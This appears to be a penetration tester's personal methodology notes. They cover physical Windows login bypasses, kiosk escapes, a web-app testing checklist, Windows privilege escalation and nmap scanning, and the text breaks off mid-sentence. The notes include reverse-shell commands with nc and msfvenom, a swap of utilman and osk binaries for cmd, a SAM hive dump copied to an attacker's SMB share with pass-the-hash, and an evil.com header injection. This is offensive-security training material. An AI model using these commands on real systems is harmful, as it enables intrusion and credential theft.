# Welcome Reject weakness, embrace discipline. > The world is your oyster\ > You got a shell\ > And it's up to you to escalate\ > I wish you well ## whoami I am Alexandre, a **cybersecurity analyst** from Canada and I am[ **OSCE3**,**OSED**,**OSEP**,**OSWE,OSCP+**, **OSWP**](https://www.credential.net/profile/alexandrelepage540257/wallet)**,** [**CCDCOE ITSAD/ADL394, and CCDCOE ExAC**](https://ccdcoe.org/uploads/2024/10/2025_NATO_CCD_COE_Training_Catalogue_final.pdf) certified. On the internet, I go by many aliases like many of you but if you are here, you probably know me by my handle **TurboWindX**. I love to go above and beyond, sometimes discovering new things, sometimes finding myself in another rabbit hole. {% embed url="" %} ## [Hacking Methodologies](/hacking-methodologies/layers) Rome was not built in a day but it was taken in a single night. # Known Tools & Technologies This list contains technologies and principles that I have learned through the years. The horizon of my knowledge extends further than the following subjects but you get the idea. You might find the same keyword twice or thrice if said keyword is linked to multiple categories. ## Web Development As a security specialist, back-end is my favorite but I'm also relatively fluent with front-end development. * PHP / Java / C# / Python * RESTful (CRUD+ATOMIC) APIs * Model-View-Controller (MVC) * Laravel, Tomcat/J2EE, IIS, Flask * etc * HTML/CSS * General design * Responsive design * Bootstrap, Elementor, etc. * Javascript/Typescript * Sync / Async * Dynamic content * Data handling * Apache2 / NginX / NodeJS * Server management * On-premise * Cloud * Reverse proxying * Load balancing * Redundancy * Templating * Runtime environment * HTTP/HTTP2/HTTP3 * Diffie exchange * Certificate/keypair cryptography * QUIC over UDP ( 0-RTT ) * Protocol fuzzing * Weak ciphers exploitation * TLS/SSL * Encryption * Cryptography * MQTT * Publish / Subscribe * Brokers * Limited bandwidth * Hashing * One-way functions * Set reduction * Collisions ## Software Development Malware development and analysis, web-scraping and parsing, and/or reverse-engineering. I don't consider myself a programmer but coding is in my daily routine and I am aware of design patterns, time complexity, and DevOps methodologies. * C# / .NET * Rust * Python * Java * C++ * MariaDB - RDBMS * MongoDB - DoDBMS * Redis - IMDBMS * InfluxDB - TSDB * Ghidra / IDA * Kotlin * Android * Micro Controllers (Arduinos, ESP8266, ESP32) * Unity / Unreal Engine ## Infrastructure & networking Development often leads to deployment which lead to system and network administration. * Cisco * Active Directory * Kubernetes * PfSense * Docker * AWS/Azure/Linode/OVH * Terraform * Ansible * Bind9, Hostapd, Dhcpd * Batch & Shell scripting * Forti * VMware ESXI * Carbon Black ## Security++ * Active Directory * Bloodhound mapping * Offline infrastructure analysis * Weak credentials brute-forcing * Hash dump & hash cracking * Kerberos * Windows exploit development * Cobalt Strike/RAT/Backdoor prevention, detection, and response * YARA * Malware persistence * Binary applications * Buffer overflow * ROP exploitation * Dynamic library hijacking * Software logic exploitation * Dependencies, imports, and services hijacking * Privilege escalation * Web applications * API fuzzing * Broken access control * Cryptographic failures * Injection (HTML, Javascript, SQL, etc) * Insecure deserialization exploitation * Server side request forgery * Cross-site request forgery * Sensitive data exposure * Open redirects * WiFi hacking * WEP,WPA,WPA2,WPA3 personal/enterprise (TKIP-AES-MGT) * RADIUS * WPS attacks * Client/Clientless attacks (Krack, etc) * Evil Twin attacks * Denial Of Service (Fuzzing, spoofing, etc.) # Kill Chain ## Kill chain Overview Lockheed martin developed the first kill chain map but a few iteration have come along the way. The following cyber kill chains are made by Varonis and Cytomic. Both are good. ![](/files/a8SoXN50xvAhbrsPPNPn) Or even this one which divides **External** and **Internal** kill chains. ![](/files/PYlCVdMmdWgDed1sw3TL) ## [Physical access & Hardware hacking](/hacking-methodologies/layer-0-phyisical-and-hardware) All you need is access\ \ **Note**: Not my favorite way of hacking but it still is very interesting. It can always be fun to phish with malware/trollware infected usb or keylog/tap into a line. In reality, this will happen probably never while doing a pentest, at least not a web-application/infrastructure test. I would assume that government-based hacking groups are very into hardware hacking for very obvious reasons, when you have a good amount of money and your hands in major electronic/distribution companies, it becomes a very scalable and scary attack vector ## [External Recon](/all-the-other-layers-recon) Don't peek, don't peek !\ ***proceeds to peek*** There is no penetration testing without recon. Learn to scan properly to avoid getting blacklisted or detected by an IDS. Network scanning is an integral part of hacking. I would say that 95% of penetration tests will have any kind of scan involved, ranging from port scans, directory fuzzing, to intrusive SQL injection scans. ## [Internal Recon](/internal-recon) **Let's have a look inside.** \ Having a foot in a box is good but usually pretty limited, it is always a nice thing to elevate our privileges and capabilities. ## [Privilege Escalation](/post-exploitation/privilege-escalation) **root** \ Having a foot in a box is good but usually pretty limited, it is always a nice thing to elevate our privileges and capabilities. ## [Post Exploitation](/post-exploitation) **Persistence, C2, exfiltration, all the good stuff** \ Depending on the scenario, you might want to implement some form of backdoor and be able to come back whenever you want or can. ### # Phyisical and hardware If you have physical access to the device, check this out. ## BIOS Bypass Try these to bypass BIOS password: ``` - Remove battery of motherboard and wait 1-60m (depends on model) - Find motherboard model, find CMOS reset pins, shortcircuit - LIVE USB BOOT? CmosPWD (chance to recover password which is always a + ) ``` ## RAM **Dump** Long story short. Depending on the motherboard, software, blablabla. **Data might still** **be** **recoverable** from RAM for a brief amount of time, usually anywhere between **1 to 2 minutes**. The colder it is, the longer the data will stay in memory. Usually, you'd grab those pressurized air can (the one to clean your electronics) and just blow it ALL on the RAM, it will get cold but not as cold as my ex. HA. You can then try to run a LIVE USB OS and dump the whole RAM. **Pick the lightest OS to save RAM of course** ## Windows Login Bypass You can use kon-boot (only on local environments), but it's not free. It **really** is situational, because if you have more time you can think of something better that will probably cost nothing or less.
``` Boot live USB Mount Windows partition backup oks.exe oks.bak copy cmd.exe onto oks.exe Exit Boot into windows Open on-screen keyboard Enjoy your SYSTEM ``` So yeah, just reset the password, create an account, download pornhub, do your thing chicken wing. ## Sticky Keys Replace any of these binaries with cmd or any binaries and it will get executed as SYSTEM. * **SETHC:** *sethc.exe* is invoked when SHIFT is pressed 5 times * **UTILMAN:** *Utilman.exe* is invoked by pressing WINDOWS+U * **OSK:** *osk.exe* is invoked by pressing WINDOWS+U, then launching the on-screen keyboard * **DISP:** *DisplaySwitch.exe* is invoked by pressing WINDOWS+P ## [Full Screen Escape](/hacking-methodologies/layer-0-phyisical-and-hardware/full-screen-escape) If you are stuck on a GUI (school, library, police station, etc)\
# Full Screen Escape Sometimes you are stuck inside a full screen interface/GUI and you can tell you're just a few clicks away from a shell. Try to get access to any Explorer functionalities like "Open,Save,Save as,etc" ### Bypassing path restrictions You can access most paths via Explorer **and** web browser. * **Environment variables**: There are a lot of environment variables that are pointing to some path * **Other protocols**: *about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:* * **Symbolic links** * **Shortcuts**: CTRL+N (open new session), CTRL+R (Execute Commands), CTRL+SHIFT+ESC (Task Manager), Windows+E (open explorer), CTRL-B, CTRL-I (Favourites), CTRL-H (History), CTRL-L, CTRL-O (File/Open Dialog), CTRL-P (Print Dialog), CTRL-S (Save As) * Hidden Administrative menu: CTRL-ALT-F8, CTRL-ESC-F9 * **Shell URIs, these do not work in browser**: * `shell:Administrative Tools` * `shell:DocumentsLibrary` * `shell:Libraries` * `shell:UserProfiles` * `shell:Personal` * `shell:SearchHomeFolder` * `shell:NetworkPlacesFolder` * `shell:SendTo` * `shell:UserProfiles` * `shell:Common Administrative Tools` * `shell:MyComputerFolder` * `shell:InternetFolder` * `Shell:Profile` * `Shell:ProgramFiles` * `Shell:System` * `Shell:ControlPanelFolder` * `Shell:Windows` * `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Control Panel * `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> My Computer * `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> My Network Places * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}->internet explorer` * * **UNC paths**: Network paths, you should try to connect to the C$ of the local machine ("\\\127.0.0.1\c$\Windows\System32") | UNC | UNC | UNC | | ------------------------- | -------------- | -------------------- | | %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% | | %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% | | %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% | | %LOGONSERVER% | %PATH% | %PATHEXT% | | %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% | | %PROMPT% | %PSModulePath% | %Public% | | %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% | | %TMP% | %USERDOMAIN% | %USERNAME% | | %USERPROFILE% | %WINDIR% | | ### Shortcut to escape If it's a touch screen just try all the gestures tbh, swipe up up down down left right left right B A Start\ Click on all the corners, an infinite number of times or stuff like 2 click top-left, 1 click bottom right, 360 no scope. You get the idea. * Sticky Keys – Press SHIFT 5 times * Mouse Keys – SHIFT+ALT+NUMLOCK * High Contrast – SHIFT+ALT+PRINTSCN * Toggle Keys – Hold NUMLOCK for 5 seconds * Filter Keys – Hold right SHIFT for 12 seconds * WINDOWS+F1 – Windows Search * WINDOWS+D – Show Desktop * WINDOWS+E – Launch Windows Explorer * WINDOWS+R – Run * WINDOWS+U – Ease of Access Centre * WINDOWS+F – Search * SHIFT+F10 – Context Menu * CTRL+SHIFT+ESC – Task Manager * CTRL+ALT+DEL – Splash screen on newer Windows versions * F1 – Help F3 – Search * F6 – Address Bar * F11 – Toggle full screen within Internet Explorer * CTRL+H – Internet Explorer History * CTRL+T – Internet Explorer – New Tab * CTRL+N – Internet Explorer – New Page * CTRL+O – Open File * CTRL+S – Save CTRL+N – New RDP / Citrix # Checklist - WebApps Quick checklist for penetration test ## Web Application * [ ] Identify web server, technologies and database (whatweb, webanalyze) * [ ] Try to locate /robots.txt /crossdomain.xml /clientaccesspolicy.xml /sitemap.xml and /.well-known/ * [ ] Review comments on source code (Burp Engagement Tools) * [ ] Directory enumeration * [ ] Find leaked ids, emails (pwndb) * [ ] Identify WAF (whatwaf, [wafw00f](https://github.com/EnableSecurity/wafw00f)) * [ ] Google dorking * [ ] GitHub dorking/Github tools ([githound](https://github.com/tillson/git-hound), git-search) * [ ] Get urls ([gau](https://github.com/lc/gau) , [waybackurls](https://github.com/tomnomnom/waybackurls), [hakrawler](https://github.com/hakluke/hakrawler)) * [ ] Check potential vulnerable urls ([gf-patterns](https://github.com/1ndianl33t/Gf-Patterns)) * [ ] Find hidden parameters ([paramspider](https://github.com/devanshbatham/ParamSpider)) * [ ] Automatic XSS finder ([dalfox](https://github.com/hahwul/dalfox)) * [ ] Check for backup files ([bfac](https://github.com/mazen160/bfac)) * [ ] Locate admin and login panel * [ ] Broken link hijacking ([blc](https://github.com/stevenvachon/broken-link-checker)) * [ ] Get all JS files ([subjs](https://github.com/lc/subjs), [linkfinder](https://github.com/GerbenJavado/LinkFinder)) * [ ] JS hardcoded APIs and secrets ([secretfinder](https://github.com/m4ll0k/SecretFinder)) * [ ] JS analysis ([JSParser](https://github.com/nahamsec/JSParser), [JSFScan](https://github.com/KathanP19/JSFScan.sh), [JSScanner](https://github.com/dark-warlord14/JSScanner), [jshole](https://github.com/callforpapers-source/jshole)) * [ ] Run automated scanner ([nuclei](https://github.com/projectdiscovery/nuclei)) * [ ] Test CORS ([CORScanner](https://github.com/chenjj/CORScanner), [corsy](https://github.com/s0md3v/Corsy)) * [ ] [Enumerate subdomains](broken://pages/-M8ywmOupBTpvkBO3jNK) ([subfinder](https://github.com/projectdiscovery/subfinder), [assetfinder](https://github.com/tomnomnom/assetfinder), [amass](https://github.com/OWASP/Amass), [sudomy](https://github.com/Screetsec/Sudomy), [crobat](https://github.com/cgboal/sonarsearch), [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer)) * [ ] Permute subdomains ([dnsgen](https://github.com/ProjectAnte/dnsgen)) * [ ] Subdomain bruteforce ([shuffledns](https://github.com/projectdiscovery/shuffledns), [subbrute](https://github.com/TheRook/subbrute)) * [ ] Identify alive subdomains ([httpx](https://github.com/projectdiscovery/httpx)) * [ ] [Subdomain takeovers](broken://pages/-M8yyNVIyLgUCexV-bbo) ([SubOver](https://github.com/Ice3man543/SubOver)) * [ ] Check for [cloud assets](broken://pages/-M926UYSsWnNDe395LiM) ([cloudenum](https://github.com/initstring/cloud_enum), [cloudscrapper](https://github.com/jordanpotti/CloudScraper), [cloudlist](https://github.com/projectdiscovery/cloudlist)) * [ ] Shodan * [ ] [Transfer zone](https://six2dez.gitbook.io/pentest-book/enumeration/ports#port-53-dns) * [ ] Subdomains from subdomains ([altdns](https://github.com/infosec-au/altdns), [flydns](https://github.com/shelld3v/flydns), [goaltdns](https://github.com/subfinder/goaltdns)) * [ ] Take screenshots ([gowitness](https://github.com/sensepost/gowitness), [webscreenshot](https://github.com/maaaaz/webscreenshot), [aquatone](https://github.com/michenriksen/aquatone)) * [ ] Get ASN for IP ranges ([amass](https://github.com/OWASP/Amass), [asnlookup](https://github.com/yassineaboukir/Asnlookup), [metabigor](https://github.com/j3ssie/metabigor), [bgp](https://bgp.he.net/)) * [ ] Review latest [acquisitions](https://www.crunchbase.com/) ## Network * [ ] Check ICMP packets allowed * [ ] Check DMARC/SPF policies ([spoofcheck](https://github.com/BishopFox/spoofcheck)) * [ ] Open ports with [Shodan](https://www.shodan.io/) * [ ] Port scan to all ports * [ ] Check UDP ports ([udp-proto-scanner](https://github.com/CiscoCXSecurity/udp-proto-scanner) or nmap) * [ ] Test [SSL ](broken://pages/-M9qnyfp9f80MtdMdDC4)([testssl](https://github.com/drwetter/testssl.sh)) * [ ] If got creds, try password [spraying ](https://github.com/x90skysn3k/brutespray)for all the services discovered ## User management ### Registration * [ ] Duplicate registration (try with uppercase, +1\@..., dots in name, etc) * [ ] Overwrite existing user (existing user takeover) * [ ] Username uniqueness * [ ] Weak password policy (user=password, password=123456,111111,abcabc,qwerty12) * [ ] Insufficient email verification process (also my%<00email@mail.com> for account tko) * [ ] Weak registration implementation or allows disposable email addresses * [ ] Fuzz after user creation to check if any folder have been overwritten or created with your profile name * [ ] Add only spaces in password * [ ] Long password (>200) leads to DoS * [ ] Corrupt authentication and session defects: Sign up, don't verify, request change password, change, check if account is active. * [ ] Try to re-register repeating same request with same password and different password too * [ ] If JSON request, add comma {“email”:“”,””,“token”:”xxxxxxxxxx”} * [ ] Lack of confirmation -> try to register with company email. * [ ] Check OAuth with social media registration * [ ] Check state parameter on social media registration * [ ] Try to capture integration url leading integration takeover * [ ] Check redirections in register page after login * [ ] Rate limit on account creation * [ ] XSS on name or email ### Authentication * [ ] Username enumeration * [ ] Resilience to password guessing * [ ] Account recovery function * [ ] "Remember me" function * [ ] Impersonation function * [ ] Unsafe distribution of credentials * [ ] Fail-open conditions * [ ] Multi-stage mechanisms * [ ] SQL Injections * [ ] Auto-complete testing * [ ] Lack of password confirmation on change email, password or 2FA (try change response) * [ ] Weak login function over HTTP and HTTPS if both are available * [ ] User account lockout mechanism on brute force attack * [ ] Check for password wordlist ([cewl](https://github.com/digininja/CeWL) and [burp-goldenNuggets](https://github.com/GainSec/GoldenNuggets-1)) * [ ] Test 0auth login functionality for Open Redirection * [ ] Test response tampering in SAML authentication * [ ] In OTP check guessable codes and race conditions * [ ] OTP, check response manipulation for bypass * [ ] OTP, try bruteforce * [ ] If JWT, check common flaws * [ ] Browser cache weakness (eg Pragma, Expires, Max-age) * [ ] After register, logout, clean cache, go to home page and paste your profile url in browser, check for "login?next=accounts/profile" for open redirect or XSS with "/login?next=javascript:alert(1);//" * [ ] Try login with common [credentials](https://github.com/ihebski/DefaultCreds-cheat-sheet) ### Session * [ ] Session handling * [ ] Test tokens for meaning * [ ] Test tokens for predictability * [ ] Insecure transmission of tokens * [ ] Disclosure of tokens in logs * [ ] Mapping of tokens to sessions * [ ] Session termination * [ ] Session fixation * [ ] Cross-site request forgery * [ ] Cookie scope * [ ] Decode Cookie (Base64, hex, URL etc.) * [ ] Cookie expiration time * [ ] Check HTTPOnly and Secure flags * [ ] Use same cookie from a different effective IP address or system * [ ] Access controls * [ ] Effectiveness of controls using multiple accounts * [ ] Insecure access control methods (request parameters, Referer header, etc) * [ ] Check for concurrent login through different machine/IP * [ ] Bypass AntiCSRF tokens * [ ] Weak generated security questions * [ ] Path traversal on cookies * [ ] Reuse cookie after session closed * [ ] Logout and click browser "go back" function (Alt + Left arrow) * [ ] 2 instances open, 1st change or reset password, refresh 2nd instance * [ ] With privileged user perform privileged actions, try to repeat with unprivileged user cookie. ### Profile/Account details * [ ] Find parameter with user id and try to tamper in order to get the details of other users * [ ] Create a list of features that are pertaining to a user account only and try [CSRF](broken://pages/-M92CjDwXvtAa5K-rpyA) * [ ] Change email id and update with any existing email id. Check if its getting validated on server or not. * [ ] Check any new email confirmation link and what if user doesn't confirm. * [ ] File upload: [eicar](https://secure.eicar.org/eicar.com.txt), No Size Limit, File extension, Filter Bypass, burp extension, RCE * [ ] CSV import/export: Command Injection, XSS, macro injection * [ ] Check profile picture URL and find email id/user info or [EXIF Geolocation Data](http://exif.regex.info/exif.cgi) * [ ] Imagetragick in picture profile upload * [ ] [Metadata ](https://github.com/exiftool/exiftool)of all downloadable files (Geolocation, usernames) * [ ] Account deletion option and try to reactivate with "Forgot password" feature * [ ] Try bruteforce enumeration when change any user unique parameter. * [ ] Check application request re-authentication for sensitive operations * [ ] Try parameter pollution to add two values of same field * [ ] Check different roles policy ### Forgot/reset password * [ ] Invalidate session on Logout and Password reset * [ ] Uniqueness of forget password reset link/code * [ ] Reset links expiration time * [ ] Find user id or other sensitive fields in reset link and tamper them * [ ] Request 2 reset passwords links and use the older * [ ] Check if many requests have sequential tokens * [ ] Use and analyze the callback * [ ] Host header injection for token leakage * [ ] Add X-Forwarded-Host: evil.com to receive the reset link with evil.com * [ ] Email crafting like @target.com * [ ] IDOR in reset link * [ ] Capture reset token and use with other email/userID * [ ] No TLD in email parameter * [ ] User carbon copy email=%0a%0dcc: * [ ] Long password (>200) leads to DoS * [ ] No rate limit, capture request and send over 1000 times * [ ] Check encryption in reset password token * [ ] Token leak in referer header * [ ] Append second email param and value * [ ] Understand how token is generated (timestamp, username, birthdate,...) * [ ] Response manipulation ## Input handling * [ ] Fuzz all request parameters (if got user, add headers to fuzzer) * [ ] Identify all reflected data * [ ] Reflected XSS * [ ] HTTP header injection in GET & POST (X Forwarded Host) * [ ] RCE via Referer Header * [ ] SQL injection via User-Agent Header * [ ] Arbitrary redirection * [ ] Stored attacks * [ ] OS command injection * [ ] Path traversal, LFI and RFI * [ ] Script injection * [ ] File inclusion * [ ] SMTP injection * [ ] Native software flaws (buffer overflow, integer bugs, format strings) * [ ] SOAP injection * [ ] LDAP injection * [ ] SSI Injection * [ ] XPath injection * [ ] XXE in any request, change content-type to text/xml * [ ] Stored XSS * [ ] SQL injection with ' and '--+- * [ ] NoSQL injection * [ ] HTTP Request Smuggling * [ ] Open redirect * [ ] Code Injection (\

six2dez\

on stored param) * [ ] SSRF in previously discovered open ports * [ ] xmlrpc.php DOS and user enumeration * [ ] HTTP dangerous methods OPTIONS PUT DELETE * [ ] Try to discover hidden parameters ([arjun ](https://github.com/s0md3v/Arjun)or [parameth](https://github.com/maK-/parameth)) ### Error handling * [ ] Access custom pages like /whatever\_fake.php (.aspx,.html,.etc) * [ ] Add multiple parameters in GET and POST request using different values * [ ] Add "\[]", "]]", and "\[\[" in cookie values and parameter values to create errors * [ ] Generate error by giving input as "/\~randomthing/%s" at the end of URL * [ ] Use Burp Intruder "Fuzzing Full" List in input to generate error codes * [ ] Try different HTTP Verbs like PATCH, DEBUG or wrong like FAKE ## Application Logic * [ ] Identify the logic attack surface * [ ] Test transmission of data via the client * [ ] Test for reliance on client-side input validation * [ ] Thick-client components (Java, ActiveX, Flash) * [ ] Multi-stage processes for logic flaws * [ ] Handling of incomplete input * [ ] Trust boundaries * [ ] Transaction logic * [ ] Implemented CAPTCHA in email forms to avoid flooding * [ ] Tamper product id, price or quantity value in any action (add, modify, delete, place, pay...) * [ ] Tamper gift or discount codes * [ ] Reuse gift codes * [ ] Try parameter pollution to use gift code two times in same request * [ ] Try stored XSS in non-limited fields like address * [ ] Check in payment form if CVV and card number is in clear text or masked * [ ] Check if is processed by the app itself or sent to 3rd parts * [ ] IDOR from other users details ticket/cart/shipment * [ ] Check for test credit card number allowed like 4111 1111 1111 1111 ([sample1](https://www.paypalobjects.com/en_GB/vhelp/paypalmanager_help/credit_card_numbers.htm) [sample2](http://support.worldpay.com/support/kb/bg/testandgolive/tgl5103.html)) * [ ] Check PRINT or PDF creation for IDOR * [ ] Check unsubscribe button with user enumeration * [ ] Parameter pollution on social media sharing links * [ ] Change POST sensitive requests to GET ## Other checks ### Infrastructure * [ ] Segregation in shared infrastructures * [ ] Segregation between ASP-hosted applications * [ ] Web server vulnerabilities * [ ] Dangerous HTTP methods * [ ] Proxy functionality * [ ] Virtual hosting misconfiguration ([VHostScan](https://github.com/codingo/VHostScan)) * [ ] Check for internal numeric IP's in request * [ ] Check for external numeric IP's and resolve it * [ ] Test cloud storage * [ ] Check the existence of alternative channels ([www.web.com](http://www.web.com) vs m.web.com) ### CAPTCHA * [ ] Send old captcha value. * [ ] Send old captcha value with old session ID. * [ ] Request captcha absolute path like [www.url.com/captcha/1.png](http://www.url.com/captcha/1.png) * [ ] Remove captcha with any adblocker and request again * [ ] Bypass with OCR tool ([easy one](https://github.com/pry0cc/prys-hacks/blob/master/image-to-text)) * [ ] Change from POST to GET * [ ] Remove captcha parameter * [ ] Convert JSON request to normal * [ ] Try header injections ### Security Headers * [ ] X-XSS-Protection * [ ] Strict-Transport-Security * [ ] Content-Security-Policy * [ ] Public-Key-Pins * [ ] X-Frame-Options * [ ] X-Content-Type-Options * [ ] Referer-Policy * [ ] Cache-Control * [ ] Expires # Checklist - Windows ## Unattended install remnants When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don't require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations: * [ ] C:\Unattend.xml * [ ] C:\Windows\Panther\Unattend.xml * [ ] C:\Windows\Panther\Unattend\Unattend.xml * [ ] C:\Windows\system32\sysprep.inf * [ ] C:\Windows\system32\sysprep\sysprep.xml * [ ] C:\inetpub\wwwroot\web.config * [ ] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config * [ ] type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString ## Installed software registry saved credentials ### Putty Grab putty creds * [ ] HKEY\_CURRENT\_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s ## Powershell + Cmd history Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. This is useful for repeating commands you have used before quickly. If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved. Windows allows us to use other users' credentials. This function also gives the option to save these credentials on the system. * [ ] type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost\_history.txt * [ ] cmdkey /list * [ ] runas /savecred /user:victim cmd.exe ## Scheduled Tasks Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it's using a binary you can modify. If our current user can modify or overwrite the "Task to Run" executable, we can control what gets executed by the other user, resulting in a simple privilege escalation. * [ ] schtasks * [ ] schtask /query /tn vulnerable-task /fo list /v * [ ] icacls C:\tasks-path\vulnerable-task.exe * [ ] C:\tmp\nc64.exe -e cmd.exe 4444 > c:\tasks\vulnerable-task.exe * [ ] schtasks /run /tn vulnerable-task ## AlwaysInstallElevated Windows installer files (also known as .msi files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges. * [ ] query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer * [ ] reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer * [ ] msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=\ LPORT=6969 -f msi -o malicious.msi #Create malicious .exe * [ ] msiexec /quiet /qn /i C:\temp\malicious.msi #Execute the malicious MSI file ## Services Windows services are managed by the **Service Control Manager** (SCM). The SCM is a process in charge of managing the state of services as needed, checking the current status of any given service and generally providing a way to configure services. Each service on a Windows machine will have an associated executable which will be run by the SCM whenever a service is started. It is important to note that service executables implement special functions to be able to communicate with the SCM, and therefore not any executable can be started as a service successfully. Each service also specifies the user account under which the service will run. Location: HKLM\SYSTEM\CurrentControlSet\Services\\ ### Weak permissions * [ ] Manually check for services and their permissions \#CHECK IF ANY SERVICE HAS WEAK PERMISSIONS #PRint details about service such has linked executable sc qc vulnerable-service #CHECK LINKED EXECUTABLE PERMISSIONS, HOPEFULLY WE CAN MODIFY (M) icacls C:\program files\somecompany\Service.exe #IF WE CAN MODIFY AN EXECUTABLE LINKED TO A SERVICE, CREATE MALICIOUS EXE-SERVICE EXECUTABLE AND UPLOAD IT msfvenom -p windows/x64/shell\_reverse\_tcp LHOST= LPORT=6969 -f exe-service -o malicious-svc.exe #Make backup of old service executable and then copy malicious to original location copy C:\program files\somecompany\Service.exe C:\temp\Service.backup copy C:\temp\malicious-svc.exe C:\program files\somecompany\Service.exe #RESTART SERVICE (if able) sc stop vulnerable-service sc start vulnerable-service \#CHECK FOR UNQUOTED BINARY\_PATH\_NAME IN SERVICE sc qc "some mtg service" #IF BINARY\_PATH\_NAME IS NOT DOUBLE-QUOTED, WE MIGHT BE ABLE TO HIJACK, e.g: BINARY\_PATH\_NAME : C:\MyPrograms\Magic The Gathering\bin\mtg.exe #TRY PUTTING A MALICIOUS EXE IN EVERY POSSIBLE LOCATIONS C:\MyPrograms\Magic.exe, C:\MyPrograms\Magic The.exe, C:\MyPrograms\Magic The Gathering.exe \#check current privileges whoami /priv ######################## #SEBACKUP / SERESTORE privs ######################## #WITH SUCH PRIVS WE CAN DUMP REGISTRY/CREDS #Dump Registry hive for local analysis reg save hklm\system C:\Users\victim\system.hive reg save hklm\sam C:\Users\victim\sam.hive \#Start a local SMB server to transfer files and copy/transfer them attacker: python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support -username victim -password victimpassword public share victim: copy C:\Users\user\system.hive \attacker-ip\public\\ \#Parse hive python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL \#IF SUCCESSFUL DUMP, start cracking it and pass-the-hash #TRy psexec python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes aad3h73h:1238d8 Administrator@ \######################## #SeTakeOwnership privs ######################## #WITH SUCH PRIVS WE CAN TAKE OWNERSHIP OF ANY OBJECT (FILES, REGKEYS, ETC) #A nice trick is to replace a system file such as utilman.exe which can be launched at login screen takeown /f C:\Windows\System32\Utilman.exe #OWNING A FILE DOES NOT MEAN HAVING PRIVILEGES, BUT WE CAN ADD SAID PRIVS AFTER OWNING icacls C:\Windows\System32\Utilman.exe /grant our-current-user:F #NOW THAT WE HAVE OWNERSHIP+PRIVS, LETS REPLACE IT WITH A MALICIOUS EXE OR JUST A CMD copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe #YOU CAN NOW LOCK OR RESTART AND OPEN THE EASE-OF-ACCESS MENU TO GET A SHELL \######################## #SeImpersonate / SeAssignPrimaryToken ######################## # #Tool: # External Recon Sometimes, the information you need is offered to you. ## Port & services [Scanning](/all-the-other-layers-recon/scanning) First step first, you probably want to scan your target with the right toolset. ## Web recon ## # Ports & services scanning Send the scouts first. ### ![](/files/XK1RAXrPj5gKW8vO9mAt) | Scan Type | Nmap command | | ------------------------------ | ------------------------------------------------ | | TCP Null Scan | `nmap -sN MACHINE_IP` | | TCP FIN Scan | `nmap -sF MACHINE_IP` | | TCP Xmas Scan | `nmap -sX MACHINE_IP` | | TCP Maimon Scan | `nmap -sM MACHINE_IP` | | TCP ACK Scan | `nmap -sA MACHINE_IP` | | TCP Window Scan | `nmap -sW MACHINE_IP` | | Custom TCP Scan | `nmap --scanflags URGACKPSHRSTSYNFIN MACHINE_IP` | | Spoofed Source IP | `nmap -S SPOOFED_IP MACHINE_IP` | | Spoofed MAC Address | `--spoof-mac SPOOFED_MAC` | | Decoy Scan | `nmap -D DECOY_IP,ME MACHINE_IP` | | Idle (Zombie) Scan | `nmap -sI ZOMBIE_IP MACHINE_IP` | | Fragment IP data into 8 bytes | `-f` | | Fragment IP data into 16 bytes | `-ff` | ## Hosts Scanning * ARP from Link Layer * ICMP from Network Layer * TCP from Transport Layer * UDP from Transport Layer ![](/files/psL8JdEdLmHKA746rP71) ### ICMP Scan Nmap, by **default**, uses a **ping scan.** ICMP has [many types](https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml). ICMP ping uses Type 8 (Echo) and Type 0 (Echo Reply). **ICMP** echo requests tend to be **blocked**, you might also **consider ICMP Timestamp** or **ICMP Address Mask** requests to tell if a system is online. Nmap uses timestamp request (ICMP Type 13) and checks whether it will get a Timestamp reply (ICMP Type 14). Adding the `-PP` option tells Nmap to use ICMP timestamp requests. ``` nmap -PP -sn machina_ip/24 #ICMP TIMESTAMP, no port scan nmap -PM -sn machina_ip/24 #ICMP MASK, no port scan nmap -PE -sn machina_ip/24 #ICMP ECHO, no port scan ``` ### ARP Scan ARP scan is possible only if you are on the **same subnet as the target systems**. ``` nmap -PR -sn machina_ip/24 #arp scan, no port scan ``` ### TCP & UDP Scan #### SYN Scan We can send a packet with the SYN (Synchronize) flag set to a TCP port and wait for a response. An open port should reply with a SYN/ACK (Acknowledge); a closed port would result in an RST (Reset) ``` nmap -PS -sn machina_ip/24 #TCP SYN scan, no port scan ``` ![](/files/4YpDGElu5xiaw8ND64J8) Privileged users (r00t and sudoers) can send TCP SYN packets and don’t need to complete the TCP 3-way handshake even if the port is open which makes it stealthier. Servers **usually** logs completed connections only. ![](/files/lu4vlz2CzHUWVgr1tmit) #### ACK Scan You must be running Nmap as a privileged user to be able to accomplish this. If you try it as an unprivileged user, Nmap will attempt a 